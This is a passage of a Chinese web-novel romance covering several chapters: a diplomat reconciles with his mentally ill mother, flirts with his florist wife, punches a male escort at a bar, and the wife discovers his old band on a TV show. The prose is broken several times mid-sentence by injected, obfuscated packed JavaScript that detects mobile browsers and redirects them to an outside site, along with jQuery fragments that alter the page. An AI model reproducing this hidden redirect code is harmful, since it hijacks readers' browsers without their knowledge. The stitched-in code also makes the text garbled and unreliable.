如果是哥哥,他面对今天这种场合会怎么做? 应该不会像他一样慌张,至少会足够冷静,足够理智,而不像他今天那样青涩,仍然带着莽撞。 对。 他还要更冷静,更理智,更像哥哥一点。 傅斯灼在很长的一段时间都很忙,他忙着完成学业,忙着进入外交部,然后往上爬,最重要的是——他忙着修正那些不小心漏出的“马脚”。 哥哥不会那样大笑,确切的说,除了在他面前,哥哥都很少笑。 哥哥也很少哭,他一向都冷静犀利。 哥哥爱穿灰黑系列的衣服,还有,哥哥好像要比他更瘦一点…… 都要一点一点修正。 于是每一次回到国内,参加那些家族聚会时,总会有长辈会感慨着说。 “阿灼和阿华,越来越像了。” 他应该感到开心,他应该笑的。 但是不对,他不应该。 因为哥哥不会笑。 于是傅斯灼淡淡点头,说:“谢谢。” 谢谢,又一个人提起了傅斯华。 但是偶尔,虽然他后来已经足够成熟,也会有不小心漏出“马脚”的时候。 那就是面对陈婉君。 在“变成”傅斯华的路上,他曾经飞过无数次新西兰。 一开始,陈婉君会像小孩子一样挽着他的手臂,心疼地问他怎么又瘦了。 她抱怨着说道,是不是又因为玩乐队不好好吃饭? 傅斯灼盯着她笑,说对不起,妈妈。 “阿灼没有对不起我。”陈婉君说,“阿灼是对不起自己。” 她捧着他的脸,一脸认真地叮嘱道:“阿灼要好好吃饭,你现在跟阿华一样瘦了。” “是吗?”傅斯灼垂眸,语气轻飘飘的。 陈婉君又问:“阿华呢?是不是公司最近很忙?他很久没来看我了。” 傅斯灼敛了笑,看着她,一脸认真地说,会来的,哥哥会回来看你的。 妈妈,你要再等等。 再后来,不记得是哪一天,陈婉君看到他,开始感到害怕。 “不见了。”陈婉君流着泪,对傅珩说,“都不见了。” “你没看出来吗?!”她歇斯底里地说,“阿灼和阿华,都不见了。” 她开始抗拒跟傅斯灼相处,甚至每回看见他,病情就会加重。 于是傅斯灼每回飞去新西兰,只能隔着厚厚的一层玻璃,远远地看她一眼。 不能超过两分钟。 再久一点,陈婉君就会转身,冷淡又陌生地看着他,指控他是个**犯。 她叫他把阿灼还给她,又问阿华去哪里了。 阿华哪去了? 傅斯灼背对着她,经过多年岁月的洗礼,他神色早已沉着而冷静,像永不干涸的河流。 他说对不起,妈妈。 我的确是**犯。 偶尔傅斯灼会照镜子,望着镜子里那张熟悉又陌生的脸,他嘴角扯出一抹弧度,不多不少。 刚好够他多像一分哥哥。 直到今天…… 傅斯灼抬起头,望着镜子里哭得狼狈不堪的自己。 他又哭又笑。 以及,他终于无比清晰地认识到—— 不是哥哥,就是他。 明确的,始终如一的爱,让他意识到这封信属于二十二岁的傅斯灼,而不是任何其他人。 于是心脏终于重新开始跳动。 十八岁那年刻入心底的那抹血红色残阳,至此,好像已经落下帷幕。 要怎么办才好? 傅斯灼躬身低头,肩膀忍不住颤动。 哥哥,你好像要消失了。 他分明感到惶恐,像是有什么东西要在他体内抽离,却又莫名在心底,觉得坦然无畏。 不知道过了多久,傅斯灼察觉到有一只手柔软地轻拍他的后背。 “阿灼,不哭,阿灼,不哭……” 傅斯灼抬头,沉默片刻,轻声喊道:“妈……” 陈婉君一脸心疼地望着他,柔声哄道:“阿灼,不哭,妈妈讲故事哄你。” 陈婉君的语气轻柔和缓,像小时候无数次讲故事一样。 “从前,在一个充满魔法和奇迹的森林里,住着一位花精灵。” “她全身散发着淡淡的花香,穿着由花瓣编织的衣裳,头上戴着一朵闪耀的玫瑰。” “她交了一位好朋友,叫小孔雀。” “有一天,森林里来了一名恶毒的女巫……” “不是小孔雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268501|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”傅斯灼听着这个故事,偏头笑了,语气几分感概,“是小耳朵猫。” “不对。”陈婉君考虑几秒,一脸苦恼地拧眉,笃定道,“之前明明是小孔雀。” “我给我们阿灼讲过很多遍了。” “之前是小孔雀,现在是小耳朵猫。”傅斯灼耐心道。 “好吧。”陈婉君似懂非懂地点头,“那就是花精灵和小耳朵猫。” 她盯着傅斯灼看了一会儿,蓦地笑了。 “我们阿灼真的娶到花精灵了哦,现在开心吗?” 傅斯灼沉默几秒,“嗯”了声。 “那就好。”陈婉君一脸认真地叮嘱,“既然如愿以偿,我们阿灼以后就要多笑笑。” “要像以前一样笑,露出酒窝,很明显的笑。”陈婉君语言系统明显还有点混乱,她磕磕绊绊地表达。 “好。”傅斯灼眼尾还泛红,泛起的笑容却又清又浅,“我会的。” “婉君!” 陈婉君还想要说什么,傅珩便突然从门外闯了进来,按住她的双肩仔细观察她的状态。 看上去精神状态良好。 傅珩松了口气。 “你做什么?”陈婉君不太开心地看着他,“怎么老打断我跟阿灼说话。” 傅珩僵了片刻,问:“你说他是谁?” “我儿子啊,阿灼。”陈婉君理所当然地说道。 傅珩指尖颤抖着,指了指自己,问:“那我是谁?” 陈婉君翻他一个白眼:“你是个傻子。” —— 心理医生很快赶到傅宅,检查完毕,他大喜过望。 这个病人他收治多年,如今终于有了要痊愈的迹象了。 太好了,他的求职简历又能狠狠添上一笔! 跳槽有望! 心理医生听完傅珩的话,思忖片刻。 “您的意思是,是因为看见您儿子在哭,傅太太的心理疾病才突然有好转的?” 傅斯灼:“我没哭。” 傅珩:“我看到的是这样。” “……” “好,您没哭。”心理医生一脸贴心地对傅斯灼说道,“那您多哭。” “……” 等心理医生走了,傅宅空荡荡的走廊上便只剩下父子俩。 气氛很是冷淡尴尬。 第125章 康乃馨 傅珩清咳一声,破天荒地开口问:“今天怎么没去上班?” 傅斯灼:“今天周末。” “这样啊。” 沉默几秒。 傅珩又找了个话题:“一个多月以后就是你的生日了吧,要不要……” 傅斯灼打断他:“是哥哥的生日,一个多月以后。” 傅珩怔然。 习惯了两人之间这样的氛围,相比于傅珩的局促,傅斯灼此刻很是坦然。 他不冷不**道:“没什么事的话,我就先走了,还要去接珠珠回家。” “等一下,还要麻烦您照顾好妈妈。” 傅珩望着傅斯灼高大沉稳的背影,许久没有回过神。 他脑海中不自觉回想起陈婉君无数次哭着对他说的话。 “你没看出来吗?!阿灼和阿华,都不见了!” 是从什么时候开始呢? 傅珩低叹一口气。 这个曾经在他眼中不务正业,异常调皮的儿子,已经成长为现在这样了。 理智而沉稳的,站在他面前时,竟也会让他觉得自惭形秽。 —— 傅斯灼踏入花店时,沈珠楹正站在前台包花,店里看着还算清闲。 她笑着把花递给顾客,抬眼看见他,眼睛一亮:“你来得正好,我有事情要……” 沈珠楹话还没说完,就被傅斯灼搂入怀里,紧紧地抱住。 刚刚买花的客人还没走,一脸姨母笑地看着这一幕。 沈珠楹脸涨得通红,很不好意思地推了下他,小声道:“你干嘛呀!” 怎么突然抱她! 这么多人看着呢,怪让人不好意思的。 “有点想你。”傅斯灼轻声道。 “想什么呀!” 几个小时前还见过面呢! 怪让人害臊的! 但是傅斯灼低头蹭了蹭她的脸颊,低声说:“真的想你,老婆。” “……好吧。” 沈珠楹轻轻拍了拍他的背,一副“真拿你没办法”的头疼表情,眼底却有掩饰不住的得瑟。 哎呦,傅斯灼。 你现在果然爱我爱到不行啦。 正坐在一旁喝咖啡的李清雯看得目瞪口呆,叹为观止。 “我靠,傅斯灼。”她啧啧两声,“没想到你谈起恋爱来是这样的。” 傅斯灼下意识地拧眉,抬眼看过去,勉强施舍给她一个眼神。 “你怎么过来了?” 语气带着几分防备。 “怎么了?”李清雯眼一横,“这店子上写了李清雯与狗不得入内啊!我不能来?” 傅斯灼:“……倒是没见过这么骂自己的。“ “过来谈生意,态度就要好一点。” 李清雯:“……” “你怎么知道的?!当代半仙吧你。” 李清雯脸上立马挂上一抹谄笑:“是小的刚刚有眼不识泰山,冒犯了您,您见谅。” “你们结婚不是要拍婚纱照嘛,包给我怎么样?看在我俩这么多年朋友的份上,给你打个九九折。” 傅斯灼想也没想就拒绝了:“不行。” “为什么?” “已经定好团队了。” 沈珠楹一脸懵:“你什么时候定好团队了?” 傅斯灼无奈揉眉心,低声道:“本来想给你个惊喜。” 沈珠楹略显心虚地眨了下眼睛:“可是……我刚刚已经答应雯雯姐了。” 傅斯灼:“……” “对啊!珠珠已经答应我了。”李清雯松了一口气的同时,略显傲慢地问傅斯灼,“你们家,现在到底谁做主啊?” 傅斯灼叹了口气,很快妥协道:“行,那就交给你。” “谢谢照顾生意。”李清雯目的达到,笑得很得意。 她冲沈珠楹抛了个媚眼:“谢谢珠珠宝贝儿,下回请你吃饭。” “我还要去赶下一单,就不在这儿当电灯泡了,拜拜!” 沈珠楹望着李清雯那欢快离去的背影,若有所思地道:“她是不是要去找温姐姐。” 傅斯灼挑了下眉:“估计是的。” 祁舟麻烦了。 “不过……你为什么不想让雯雯姐给我们拍婚纱照。” 上回她拍的那张两人接吻的照片,沈珠楹就特别喜欢,还设成了屏保。 “珠珠。”傅斯灼垂眸,无奈地揉了揉她的脸颊,“用你聪明的脑袋瓜想一想,为什么她回国这么久,却没接到什么单子。” 沈珠楹思忖良久,随即脸上出现一抹恍然之色,再然后是懊恼。 “……坏了。” 忘记雯雯姐以前在非洲大草原专门拍动物。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268502|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还喜欢拍动物交配! “那我们的婚纱照怎么办?”沈珠楹的脸皱皱巴巴。 “先试试她拍得怎么样,不行我们重新拍一套。” “应该没什么问题的。”沈珠楹一脸严肃地道,“我相信雯雯姐。” 她的非洲大狮子也拍得很漂亮啊。 “珠珠,春天马上就要到了。”傅斯灼垂眸与她对视,轻声道,“我想我们的婚礼也要提上日程。” 沈珠楹沉默片刻,仰头看他,甜甜笑了。 她郑重应声:“好啊。” 当然要在春天,与一切美好的人和事相遇。 —— 听傅斯灼说陈婉君最近的病情缓解了许多,沈珠楹去老宅的频次也越来越高。 陈婉君每回看见她,都眉眼弯弯,笑得看不见眼睛,追着她喊花精灵。 嗨呀,怪不好意思。 于是花精灵每回过去看她,都捧着好大一束花。 这回是一捧新鲜的浅粉色康乃馨。 她到老宅的时候,傅珩正在客厅打电话。 “给你们一个星期,就交了这么一坨出来?” “……” “我不想听你解释,再给三天时间,给我一个靠谱的方案。” 话毕,他把电话挂了,抬眼看向她时,眼底还有未褪的寒凉。 “婉君在楼上书房。”他注意到她手里的康乃馨,语气多了几分僵硬的柔和。 沈珠楹点点头:“谢谢叔叔。” 沈珠楹推开书房门进去的时候,发现陈婉君正窝在摇椅上看书。 她一头青丝缓缓垂落,神色安静又柔和。 很是年轻漂亮。 乍一眼看过去,让人很难相信她长期患有精神类疾病。 沈珠楹盯着手里这束康乃馨看了一会儿,神色多了几分犹豫。 然而陈婉君早就仰起头,嗅了嗅,随即眼底便多了几分欢喜。 “花精灵,你今天又来看我了。”她脸上露出如同孩童般的笑容。 “对啊,花精灵来看你了。” 沈珠楹想了想,还是把刚刚塞入花里的纸条给拿了出来。 她把花递给陈婉君,说:“今天是浅粉色康乃馨。” 陈婉君盯着这束浅粉色康乃馨看了一会儿,看着她说:“不对,花精灵,这束花里少了点什么。” 第126章 贺卡 “啊?”沈珠楹紧张地咽口水,试探性地问,“您觉得少了什么啊?” “少了一些宝贝!” 陈婉君拉着她的手,神神秘秘回到卧室,然后紧张兮兮地搜罗了半天,找到了一个生锈的铁盒子,铁盒子打开,里面有各种奇奇怪怪的东西。 陈旧的吉他拨片,破烂的书签,许多电影票根,还有…… 一大摞不同颜色的贺卡。 陈婉君拉着她坐在床上,将那摞贺卡铺陈在床上,一字排开。 从左至右,字迹由幼稚到成熟。 To陈婉君女士: 祝陈婉君女士母亲节快乐,希望您今年的脾气好一点,不要再逼我学英语了。 最爱你的 傅斯灼 To陈婉君女士: 祝陈婉君女士母亲节快乐,希望您今年身体健康,病痛都吹走。 最爱你的 傅斯灼 To陈婉君女士: 祝陈婉君女士母亲节快乐,希望您今年能来看我的演唱会。 最爱你的 傅斯灼 …… “这个是阿灼七岁时给我的,这个是九岁,还有这个,是……”陈婉君一张一张地拿起来,如数家珍地跟她炫耀。 她将贺卡展开。 To陈婉君女士: 祝陈婉君女士母亲节快乐,身体健康,新书大卖。 最爱你的 傅斯灼 “这个是他十七岁。”沈珠楹眼眶有点红,接话道。 陈婉君“哇——”了一声,说:“不愧是花精灵,会法术欸!” 沈珠楹弯唇笑了,说:“是小耳朵猫会法术。” 她把兜里的卡片拿出来,与陈婉君手里的卡片并排放在一起。 To陈婉君女士: 祝陈婉君女士母亲节快乐,身体健康,新书大卖。 最爱你的 傅斯灼^_^ 陈婉君有些疑惑地问:“为什么花精灵的卡片,比我的卡片多了一个笑脸?” 沈珠楹眨了下眼睛,轻声说道:“可能是因为……花精灵那时候不太开心。” 其实现在回想起来,数学只考了五十三分,没买到花店里的最后一束康乃馨,也不是什么大事,她的人生当然也不会因此完蛋, 但不知道为什么,对于那时候的沈珠楹来说,像是天大的事。 陈婉君哦了声,一脸笃定地说:“那小耳朵猫在哄你。” “对。”沈珠楹弯唇,笑得很开心,说,“他在哄我。” 于是等傅斯灼下了班过来接她的时候,她就不顾旁人的眼光,紧紧抱着他的腰,小声地,羞怯地,老公老公叫个没完。 花店里的其他客人表示没眼看。 还有小春和小桃,两个小姑娘不知怎么,也羞红了脸,然后互相蒙住对方的眼睛,又漏出一条缝,悄悄看着。 “怎么了?”傅斯灼清咳一声,耳尖悄悄红了,这回轮到他不太自在。 “没事啊老公。”沈珠楹语调依然甜甜的,“只是突然很想你。” 于是傅斯灼安静几秒,一声不吭地拉着沈珠楹快步走进里间。 小春和小桃对视一眼,露出一抹心照不宣的笑容。 不过小春依然感到疑惑,她冲小桃比划道。 “百度上面不是说,热恋相爱的时期只有三个月吗?可是为什么,老板和老板夫现在看上去更相爱了?” 小桃一脸“你怎么这么笨”的表情看向她。 “当然是因为老板和老板夫相遇得太晚了啊。” 小春无语:“你就仗着自己谈了场恋爱乱说吧!越来越爱跟相遇早晚有什么关系啊?” “当然有关系啊!”小桃更嫌弃她了。 她认真比划道:“因为知道再次相遇很不容易,所以才会更加珍惜。” “哎呀!你这个妈妈怀胎单身的人是不会懂的啦!!!” 小春脸上出现恍然的神色,她当然懂了,只是…… 小春再次诚恳发问:“什么叫妈妈怀胎单身啊喂!!!” 你们谈过一次恋爱的人很了不起吗??? —— 而此时,里间,沈珠楹此刻被傅斯灼吻得有点喘不上气来。 她一开始半跪在男人腿间,勾住他的脖子跟他接吻,慢慢地,整个人都往他身上靠,实在承受不住的时候,她轻微偏过头,抵在他肩上,细细密密地喘着气。 傅斯灼搂住她的腰,盯着她看了一会儿,低声笑了。 “再叫声老公。”傅斯灼轻声道。 “傅斯灼。” “嗯?” “老公。” “嗯。” 等到了打烊的时间,两人出去把店门一关,当天杂七杂八的东西收拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么会呢?”沈珠楹支着下巴,一脸认真地道,“可是萱萱,当年你们计算机系,就招了你一个女生进去欸,你要比那些男生优秀很多很多,才能获得跟他们同等的机会。” “你真的很优秀了,萱萱。” 第127章 男模王中王 “呜呜呜呜,沈珠珠,我就知道你最好了。” 黄奕萱没憋住,眼泪流下来,说:“对啊,我就是要比那些男人优秀啊,可是那个秃头主管,就因为我是女生,然后还未婚未育,就处处针对我,想让我主动离职。” “好啊,那老娘就不干了好了,我这个技术,去哪里不是块香饽饽啊?” “老娘要去洱海艳遇大帅哥了!” “太棒了!”沈珠楹拿起橘子汽水跟她碰了个杯,“那你打算什么时候出发啊?” “等附中今年四十周年校庆过了以后吧,说不定我还能碰上我高中那会儿的crush呢。”黄奕萱眨了下眼睛,“希望他不要变成rubbish。” “对了,你家那位,肯定是作为优秀毕业生代表出席吧,说不定还会上台讲话呢。” “感觉不是傅斯灼就是祁舟,还是傅斯灼的可能性大一点,祁舟的话,学校领导可能怕他砸场子。” “不一定。”沈珠楹歪头想了想,吐槽道,“说不定他今晚就去出差了,三个月以后才会回来。” “害,大外交官嘛,话说我上回还在电视上看到,你老公当年……” 电话铃声响了,黄奕萱的话被打断,一看备注——A同学。 黄奕萱一脸揶揄,阴阳怪气地道:“哟,这才晚上八点不到,A同学就来查岗了啊。” 沈珠楹:“……” 她面不改色地摁了接听。 “对呀,我现在还在清吧,没有喝酒,我很听话的,嗯,那你三个小时以后再来接我吧,好吧……你想两个小时以后的话,也可以,嗯嗯,拜拜。” 挂断电话,黄奕萱一脸揶揄地看向她,“啧啧——”两声。 “看不出来啊沈珠珠,你还是个夫管严。” “夫管严?”沈珠楹高仰着头,抬高了声音反驳,“怎么可能?” “平常都是我管他好不好?” 她随手拿起一瓶饮料要喝,发现是瓶果酒,于是面不改色地放了回去,重新拿起那罐橘子汽水,惹得黄奕萱又“啧”了一声。 “我们两个女生,都喝酒的话不安全。”她欲盖弥彰地解释。 黄奕萱环顾了一圈这空无一人的清吧,没拆穿她,闲闲道:“行,不安全。” “不是我俩以前去马路牙子上吃烧烤,喝个烂醉的时候了。” “……” 两个人又聊了一会儿,看时间差不多,黄奕萱提起包就溜。 “不行啊,你一个人走不安全,等一下我让傅斯灼把你送回去啊。” “我是那么没眼力见的人吗?而且我就喝了两罐啤的,在我们东北那瘩旮,我这酒量,只能跟小孩一桌。” 黄奕萱径自拉开车门,像只泥鳅一样就滑进去了,她趴在窗口跟沈珠楹招手:“大把的好时光,别在我这里浪费,早点让我当干妈。” “么么哒。” 出租车开走,沈珠楹吃了一屁股车尾气,站在原地,想起刚刚那番话,脸默默变红了。 她重新坐回高脚凳上默默咬吸管。 她跟傅斯灼的孩子的话,一定很漂亮很可爱吧…… 但是生个孩子好累啊,而且身材也很难恢复,沈桉女士生她的时候就遇到了很多困难,而且,她真的能当一个好妈妈吗? 于是沈珠楹就这么坐在高脚凳上,在心底默默纠结了起来,就连突然出现一个男人坐她旁边都没感觉。 “小姐,一个人吗?”男人穿了一身领子敞开,十分……诱惑的西装,语调暧昧地问。 沈珠楹一无所知“昂——”了一声,脑子里还在默默想象她跟傅斯灼有了孩子以后的生活。 好像不太好。 沈珠楹一脸严肃地摇了摇头。 还是别要孩子了。 会分走傅斯灼在她身上的注意力! “正好,我也单身,约吗?” 男人又凑近一些,很大一股廉价的脂粉味,惹得沈珠楹拧眉,远离一些。 “抱歉,我结婚了。”沈珠楹刻意漏出手上的戒指,强调道,“他等一下就会来接我。” 男人一看她手上的大钻戒,眼睛更亮了。 “太好了!”他非但不介意,反而一脸热切地道,“我等的就是您这种客人!” 沈珠楹缓慢挑眉:“……客人?” 是她想的那种意思吗? 坏了,每天在傅斯灼面前口嗨说要点男模,这回……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268504|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不会让她遇上真模子哥了吧? 而模子哥此时很激动,像这种老公不行,寂寞难耐出来找男人的富太太他见多了。 但是之前,每回遇上这种富婆,都让他慧眼如炬的同事抢了先。 跟他一起入行的那个同事,傍了三个富婆,现在早就在京市买房买车了! 模子哥眼底满是对金钱的渴望。 他深情款款地看向沈珠楹,轻声道:“太太,抱歉,臣……来迟了。” 沈珠楹:“……” 她一脸新奇地打量着眼前这个男人。 长的倒确实是很客观的大帅哥,跟娱乐圈那些明星似的,身高腿长的,目测有胸肌也有腹肌,不过跟傅斯灼比的话,不知道差了多少条街。 啊呸,不能拿傅斯灼跟模子哥比。 沈珠楹清咳一声,问:“像你这种长相身材的,在你们鸭……男模圈,也算是上等货吗?” “那当然!”模子哥拍了拍胸口,一脸骄傲地道,“我算是顶级货。” 只不过之前,他心里还有几分文人气节,过不去那道坎,不够主动,所以一直没钓到合适的富婆。 本来他今天只是业务没达标,想来搭讪一个漂亮小姑娘,没成想,这还有惊喜,给他找到了一个隐形富婆。 果然,越努力,越幸运! 而沈珠楹此时则在心底想:哇,这种都算顶级货,那傅斯灼那种…… 沈珠楹轻啧一声。 行,等下回去睡男模王中王。 恰好清吧门口出现了一抹熟悉的高大身影,沈珠楹眼睛一亮,起身就要朝男人走去。 模子哥一慌,以为到嘴的富婆要飞了,他赶忙攥住沈珠楹的手臂,眼睛一闭一睁,一脸豁出去的模样,对她说道:“别走啊姐,我有10。” 沈珠楹:“……” 她的眼神由看向傅斯灼时的兴奋,震惊转向惊恐。 她缓缓对上了傅斯灼的眼神。 男人一双狭长的凤眸危险轻眯,一张俊脸黑得像锅底。 “沈,珠,楹。” 沈珠楹咽了口唾沫,缓缓转身,视线定格在模子哥身上。 模子哥,你要毁了我吗??? 第128章 FIRST “老公你听我解释……” 眼瞅着傅斯灼大步流星地朝这边走来,沈珠楹默默挡住自己的脸,小声道:“老公你别打脸。” 傅斯灼冷眼瞥了模子哥一眼。 模子哥被那一眼看得全身冷飕飕,下意识地就松开了沈珠楹。 傅斯灼拉着她,把她护到身后,“砰——”的一拳。 模子哥惨叫一声,捂着自己的脸,喊道:“我靠,你有病吧,打我吃饭的家伙……之一?” 他再一看傅斯灼那脸,那身材。 啧啧。 行业顶级男模啊! 他整个人懵了一瞬,随即恍然:“同行抢生意啊,我先来的想,不带这么……” “砰——” 又一拳。 “你大爷——” “砰——” “同行大哥,大不了事成之后我们三七……” “砰——” 模子哥惨叫一声。 “别打我脸啊!!!” 沈珠楹站在一旁,弱弱地扯了一下傅斯灼的袖子,小声喊他:“老公,我想回家了。” 傅斯灼看她一眼,深吸一口气,反手跟她十指相扣,终于停手。 老公? 模子哥看向寒着一张脸的傅斯灼,又一声哀嚎,朝沈珠楹吼:“你有病啊?你老公这么帅还出来找男模?” “砰——” 又一拳。 模子哥直接被打翻在沙发上。 他此刻无语望天,彻底躺平了。 虽然知道干他们这一行的,确实会有原配找上门来的风险,但他点儿也太背了,一分钱都还没拿到呢! —— 而沈珠楹被傅斯灼塞进了副驾驶座。 她咽了口唾沫,正襟危坐地道:“傅斯灼,我可以解释。” “嗯。”傅斯灼骨节修长的手松了松领带,坐在驾驶座,仰头喝了口水,说,“你解释。” “就是……我坐在那里喝橘子汽水……” 听到橘子味汽水,傅斯灼眉眼悄然松懈下来。 而沈珠楹还在继续解释。 “然后刚刚那个……模子哥就突然找我搭讪了,我当然非常义正言辞地拒绝了他!我说我已经结婚了!”沈珠楹伸出两根手指,发誓道,“老公,我发誓,我说的话句句属实,要是我撒谎了,种的花就永远……” “好,我相信你。” 傅斯灼打断她的话,口吻浅淡地要求:“你过来吻我,我就信你,沈珠楹。” “……好哦。” 沈珠楹爬过中控台,跨坐在他身上,捧住他的脸,笑得眉眼弯弯。 “我来吻你了,傅斯灼。” 她偏头吻上了男人的喉结,顺着喉结上下滑动的方向,追着咬了上去,轻轻地磨。 惹得男人难耐地闷哼一声。 沈珠楹得意地笑了一下,轻摇着脑袋。 下一秒,男人轻掰她的下巴,低头吻上她的唇。 这个吻绵长而温柔,两个人的衣料摩挲着,细簌暧昧的声响,身体也越贴越紧。 许久,他分开她的唇,低声道:“是橘子汽水味,宝宝。” 他说我爱你。 沈珠楹此刻被吻得有点迷糊,不太懂他为什么突然要表白。 她微低着头,正想要继续吻他,一张纸条就突然从她的口袋里滑落。 傅斯灼捡起来,正打算塞她口袋里,视线一转便看见了上面的字,脸色又冷下来。 “看来刚刚,还是打轻了。” 他一字一顿,气得咬牙。 “什么啊?”沈珠楹好奇地低头看去,慢慢地,眼睛都睁圆了。 那张纸条上写着:纯情酒店1824,随时恭候哦,我的宝贝儿[飞吻] 模子哥什么时候塞她口袋里的,她都不知道!!! 她赶忙摆手,结结巴巴地割席:“我不知道啊,跟我无关。” “都是模子哥的错!” 沈珠楹表面义正言辞,内心却在默默感叹:模子哥,太敬业了吧! 你有这种毅力,做什么都会成功。 而我们敬业的模子哥在一周后重新勾搭上了新富婆,卖力服务了一整晚,在早上虚得不行,颤颤巍巍地,快要拿到钱的时候,终于成功的……被蹲守已久的警察扫黄了。 当然,这都是后话了。 此时的沈珠楹被男人紧紧扣住腰,低低的一句:“宝宝,我们回家。” …… 结束的时候不知道几点了,总之,沈珠楹全身都被汗浸湿,被男人抱在怀里,昏昏沉沉的时候,听到他低声说了一句。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15268505|166611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这行门槛真低。” “……” —— 第二天,大概早上九十点的时候,两个人一块吃了个早饭。 随后,沈珠楹懒洋洋窝在沙发上看电视,傅斯灼则去书房开了一场线上跨国会议。 她慢吞吞地戳了一颗葡萄扔嘴里,挑了半天的综艺和剧,也没找到合心意的。 她突然就想起了李凝最近极力推荐她看一档乐队综艺,叫什么来着? 好像叫……《青春乐队》? 沈珠楹眨了眨眼睛,毫不犹豫地搜索,点开。 这节目才刚播到第四期。 她点开第一期,一边听着,一边跟李凝打字闲聊。 【木子满盈】:我正在看你上回给我推荐的综艺。 【李凝】:《青春乐队》吗?呜呜呜呜,宝宝你真好,我给好几个朋友推,只有你一个人看了,就连庄旭之都嫌无聊,不陪我看。 【李凝】:好吧,不过他警局平常挺忙的,也没空陪我看。 【李凝】:怎么样?好听吗? 沈珠楹听着耳边的鬼哭狼嚎,委婉打字。 【木子满盈】:可能是我的艺术欣赏水平比较低。 【李凝】:说人话。 【木子满盈】:挺难听的。 【李凝】:你还在看第一组吧,他们唱的是挺难听的。 【李凝】:不过有几支乐队的歌我还是很喜欢的,你可以选择性的听听看。 【木子满盈】:比如? 【李凝】:第一期的话,我首推FIRST乐队的《迷茫分割》,还有太阳斑马乐队的那首《青青子衿》,肯什乐队的《算了,算了》也还不错。 FIRST乐队? 沈珠楹动作僵住,视线定格在这个名字上,怀疑自己看错了。 或者……只是巧合? 但是下一秒,电视上的鬼哭狼嚎终于停止,耳边清净片刻,随即传来主持人慷慨激扬的开场介绍。 “感谢上一组乐队的精彩表演,大家掌声鼓励!” 台下掌声寥寥无几。 “感谢观众朋友们的热烈反响!” “接下来,让我们用最热烈的掌声,欢迎我们的第二组乐队——” “——FIRST乐队!!!” 第129章 柯以 舞台上一片黑暗,下一瞬,一束红色追光聚焦在舞台正中央的一名狼尾青年身上。 他穿了一件黑色短袖,脖子上戴了一串银色金属chocker,朋克风十足。 青年神色有几分拽,他漫不经心地转动鼓棒—— “咚——”的一声燥响,节目开场。 剩余四束追光分别打在乐队的其他人身上,电视屏幕前,底下的字幕一一浮现。 作词:FIRST 作曲:FIRST 编曲:FIRST乐队 主唱:柯以 吉他:陈承 贝斯:郭泽清 鼓:柯以 …… 弹幕上,一众网友们也讨论声也很热烈。 “我说怎么这个乐队名这么眼熟,2015年,FIRST乐队凭借两首歌杀穿了一整个夏天。” “**,真就时代的眼泪了,谁还记得《breakdown》这首歌,那也是实打实地在摇滚圈火过的……” “是不是换主唱了,原先那个主唱的声音简直就是音色流氓,他声音好听到阳痿我也认了,在我耳边喘两口我能自己动。” “回楼上,阳痿我也是不行的,除非他帅得惨绝人寰。” “姐妹们这里不是无人区啊!但是话又说回来,你们当时没注意到他的喉结吗?很大,不会不行的!” “FIRST乐队的主唱没露过脸哈家人们,不露脸的一律当成李诞处理。” “FIRST的账号九年没更新了,还我妈生大主唱!!” “**,原来我是有同担的,哭泣了谁懂,每回别人问我最喜欢哪位歌手,我说FIRST乐队的主唱,他们说外国佬啊,是白人还是黑人[笑cry]” 一直等他们的节目结束,沈珠楹都没回过神来。 而此时,节目里的导师已经开始问他们一些基本问题了。 “柯以……FIRST乐队的队长,是吗?” 狼尾青年接过话筒,语气冷峻:“是。” 